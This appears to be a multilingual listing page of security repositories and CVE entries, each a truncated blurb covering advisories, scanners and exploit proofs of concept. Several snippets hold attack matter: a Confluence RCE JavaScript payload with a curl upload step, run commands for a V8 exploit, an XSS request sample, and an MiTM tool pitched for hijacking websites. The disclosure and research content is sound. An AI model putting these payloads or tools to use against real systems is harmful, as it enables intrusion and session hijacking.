CVE-2026-107298 msgpack5: Deeply nested input can exhaust the decoder stack

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, the array and map decoding paths have no nesting-depth limit, allowing an attacker who can provide MessagePack input to submit deeply nested containers that exhaust the JavaScript call stack and interrupt a...

EUVD-2026-95109

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, the array and map decoding paths have no nesting-depth limit, allowing an attacker who can provide MessagePack input to submit deeply nested containers that exhaust the JavaScript call stack and interrupt a...

CVE-2022-21970

CVE-2022-21970 描述 Microsoft Edge（基于 Chromium）权限提升漏洞。 该漏洞允许攻击者在未经许可的情况下在每个主机上执行 JavaScript 代码，攻击者还可以窃取本地系统文件，并且能够操纵针对机器的操作，从而更改 Microsoft Edge 中的内部开发人员设置。 注意：在此示例中，Microsoft Edge 毫无问题地执行了恶意脚本。这只是一个恶意的 .bat 文件，用于重启受感染的机器，且仅用于测试！攻击者可以创建恶意文件，该文件可以实现权限提升、包含恶意软件、间谍软件或内核漏洞利用，从而严重危害你的设备！使用 MsEdge...

JShunter

JSHunter Herramienta profesional de análisis de seguridad de JavaScript Descubrimiento completo de endpoints, detección de datos sensibles y análisis avanzado de código para profesionales de seguridad Acerca de JSHunter es una herramienta de línea de comandos integral para el análisis de segurida...

DVHMA

DVHMA Damn Vulnerable Hybrid Mobile App（DVHMA）は、 意図的に 脆弱性を含んだハイブリッドモバイルアプリ（Android向け）です。その目的は、セキュリティ専門家がツールや技術を合法的にテストし、開発者がハイブリッドモバイルアプリを安全に開発する上での共通の落とし穴をより深く理解できるようにすることです。 動機と範囲 このアプリは、Apache Cordova や SAP Kapsel...

ppfuzz

ppfuzz Prototype Pollution Fuzzer A fast tool to scan client-side prototype pollution vulnerability written in Rust. 🦀 Installation Binary Source Dependencies Demonstration Usage Basic Options Usage Supporting Materials Contributing Attribution Acknowledments License Installation Binary Simply,...

macsurf

25年前のMacで、現代のウェブを。 Carbon時代のためのネイティブブラウザ、Mac OS 8.6からMac OS X 10.6まで。本物のCSS、モダンJavaScript、そしてHTTPSをMac本体上で。プロキシなし、2台目のマシンもなし。 Power Mac G3 iMac上のMacSurf 2.0.5。ネイティブHTTPS経由でhackaday.comをフルデスクトップ幅でレンダリング。 🆓 毎月の無料安定版 macsurf.orgでテスト済みのビルドを誰でも無料で。実際のハードウェアでのテストに裏打ちされています。 最新安定版: MacSurf 2.3 "OPEN TAB...

v8-poc-CVE-2026-5865

PoC mínimo en .js para v8 CVE-2026-5865 Ejecución rápida Instala las dependencias: pip install -r requirements.txt Parchea/calibra el exploit: python3 patchexploit.py /path/to/d8 exploit.js Ejecuta el exploit: ./run-exploit.sh /path/to/d8 exploit.js...

CVE-2026-30082

IngEstate Server 软件包列表页面编辑功能中的存储型跨站脚本（XSS）漏洞 受影响版本：IngEstate Server - 11.14.0 受影响功能 受影响 API：PUT /emgui/rest/appDatasheet//?full=true HTTP/1.1 PoC 要利用此存储型跨站脚本（XSS）漏洞，已认证用户必须首先通过仪表盘访问软件包列表页面。编辑功能与 API 端点 /emgui/rest/appDatasheet/ 交互。攻击者随后可将 XSS 载荷注入“关于应用程序”、“新增内容”或“发布说明”参数中。一旦注入成功，恶意 JavaScript...

CVE-2023-39062

CVE-2023-39062 Spipu Html2Pdf alertdocument.domain HTTP/1.1 Host: example.afine.com Cookie: PHPSESSID=oiqo2oopiqt88teqgfb0a23vk0 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:109.0 Gecko/20100101 Firefox/113.0 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate...

CVE-2025-61319

CVE-2025-61319：ReNgine 2. 扫描完成后，打开 ReNgine 中的“漏洞”选项卡并查看结果。 3. 该载荷会在管理员的浏览器上下文中执行。 受影响版本 ReNgine = 2.2.0 修复建议 在渲染扫描结果之前，对用户提供的输入进行净化和转义。 在“漏洞”选项卡中，对用户可控的输出实施正确的 HTML 编码。 参考 ReNgine 官方仓库...

CVE-2026-30048

CVE-2026-30048 - NotChatbot WebChat 视频演示 https://youtu.be/HklaoNKP9H8 复现步骤 1. 使用官方包/CDN 集成 WebChat 小部件 2. 打开聊天界面 3. 将上述载荷作为聊天消息发送 4. 重新加载或重新打开对话 5. 观察浏览器中 JavaScript 的执行 影响 在受害者浏览器中执行任意 JavaScript 会话劫持 信息泄露 根据具体环境可能造成账户接管 根本原因 在聊天历史渲染逻辑中，用户输入未经适当的输出编码或 HTML 清理即被渲染。 建议修复方案 在渲染前对用户输入进行清理和转义 使用诸如...

JSpector

JSpector JSpector は、JavaScript ファイルを受動的にクロールし、その JS ファイル内で見つかった URL、エンドポイント、危険なメソッドに関する Issue を自動的に作成する Burp Suite 拡張機能です。 前提条件 JSpector をインストールする前に、Burp Suite に Jython がインストールされている必要があります。 インストール 1. 最新バージョン の JSpector をダウンロードします。 2. Burp Suite を開き、Extensions タブに移動します。 3. Installed タブの Add...

CVE-2026-67340_exploit

CVE-2026-67340 — ArcadeDB RCE post-autenticación mediante script de disparador JAVASCRIPT Ejecución remota de código posterior a la autenticación en ArcadeDB una base de datos Java multimodelo mediante un disparador JAVASCRIPT que accede a clases del host. El motor políglota de GraalVM de un...

CVE-2026-67595

CVE-2026-67595 — VaahCMS 中嵌入的恶意 JavaScript CVE-2026-67595 安全公告：VaahCMS 官方发布版本中内置的一款混淆 JavaScript 间谍软件载荷 （供应链 / 嵌入恶意代码问题），由 Ilhomjon Rustamov 独立发现并报告。 摘要 | ---|--- CVE ID| CVE-2026-67595 厂商跟踪| PT-2026-65916 Positive Technologies 产品| VaahCMS — Webreinvent 受影响版本| 2.0.0 – 2.3.4 漏洞类型| 嵌入恶意代码 / 混淆...

CVE-2026-10702

CVE-2026-10702 JavaScript 引擎（JIT 组件）中的 JIT 错误编译问题。此漏洞已在 Firefox 151.0.3 中修复。 捐赠 通过 PayPal 或扫描下方二维码支持本项目的维护。 ⚡ 简单用法 请仅在安全且经过授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 经授权的渗透测试环境 示例设置： git clone cd 示例用法： Replace the commands above with your actual project setup steps. 注意： 从其他项目克隆时，你必须运行 curl -fsSL...

datadome-vm

DataDome VM 分析 摘要 本仓库记录了 DataDome 在其 CAPTCHA/插页流程中使用的浏览器内 JavaScript 虚拟机（VM）的第一个公开版本。本分析涵盖： 字节码加载与解码机制 VM 内存布局与架构 一个概念验证的反汇编器 控制流分析笔记 注意： 本仓库仅覆盖一个（静态）VM 版本，仅供安全研究与分析目的。它不包含动态求解器或生产求解器实现。 背景 2026 年 1 月 14 日，DataDome 开始在其客户端标签中推送一个新的基于 VM 的组件。 反混淆 VM 代码已从验证码挑战中提取并保存到 vm.js（可在此仓库中找到）。 第一步是反混淆脚本：...

GetDataReport

概要 PHP+JSで記述されたスクリプトで、Webアプリケーションを介してターゲットの情報を取得します。クライアント情報を取得するために$SERVER関数とJS関数を使用します。 プラグイン WEBApps 一部のWebアプリケーションでは、クライアントから情報を収集する必要があります。このプラグインを使用すると、必要な変数を簡単に扱うことができます。 IP ".$data-ip; echo "Operative System ".$data-os; echo "Browser ".$data-browser; echo "Screen height ".$data-height; ec...

injectify

Injectify 高度なMiTM攻撃をWebサイトに対して簡単に実行できます。 ✨ 開発を支援するには Patreon へ、または1回限りの寄付は Paypal から 試してみる | インストール | ドキュメント | Trello | Discord 被害者の画面を表示 ボタンを操作・クリック可能 スクロールは双方向に同期 データ記録 データの記録・保存用のデータベースAPI 新しいモジュールAPI モジュールがサーバーサイドコードを実行可能に...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server 此漏洞可能允许攻击者完全控制易受攻击的 Confluence 服务器。攻击者可以窃取数据、修改数据或破坏服务器的可用性。 Poc 创建一个 JavaScript 文件并为其命名（exploit.js），然后放入以下行 new java.lang.ProcessBuilder"java.lang.String""calc.exe".start 并通过以下命令发送请求以上传新语言 curl -X POST...